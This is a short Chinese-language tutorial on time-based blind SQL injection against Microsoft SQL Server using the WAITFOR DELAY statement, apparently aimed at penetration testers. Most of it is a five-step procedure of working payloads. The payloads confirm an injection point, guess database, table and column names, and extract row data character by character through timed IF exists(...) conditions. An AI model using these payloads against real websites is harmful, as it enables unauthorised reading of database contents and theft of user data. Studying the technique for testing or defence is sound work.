延时函数WAITFOR DELAY
WAITFOR是SQL Server中Transact-SQL提供的一个流程控制语句。它的作用就是等待特定时间,然后继续执行后续的语句。它包含一个参数DELAY,用来指定等待的时间。如果将该语句成功注入后,会造成数据库返回记录和Web请求也会响应延迟特定的时间。由于该语句不涉及条件判断等情况,所以容易注入成功。根据Web请求是否有延迟,渗透测试人员就可以判断网站是否存在注入漏洞。同时,由于该语句并不返回特定内容,所以它也是盲注的重要检测方法。
语法:
WAITFOR DELAY '0:0:n'
示例:
WAITFOR DELAY '0:0:4' -- 表示延迟4秒
IF exists()字句
语法:
IF exists () WAITFOR DELAY '0:0:5'
注入流程:
1.判断是否存在注入
WAITFOR DELAY ‘0:0:4’
2.猜解数据库名称
IF exists (select top 1 name from Master..SysDatabases where unicode(substring(name,1,1))=109) WAITFOR DELAY '0:0:5'--
3.猜解表名
IF exists (select top 1 table_name from information_schema.columns where unicode(substring(table_name,1,1))=109) WAITFOR DELAY '0:0:5'--
4.猜解列名
IF exists (select top 1 name from syscolumns where id =(select id from sysobjects where name = '表名') and unicode(substring(name,1,1))=117) WAITFOR DELAY '0:0:5'--
5.逐字猜解数据
IF exists (select id from 表名 where unicode(substring(列名1,1,1))=97 and ID=1) WAITFOR DELAY '0:0:5'--
IF exists (select id from 表名 where unicode(substring(列名2,1,1))=55 and ID=1) WAITFOR DELAY '0:0:5'--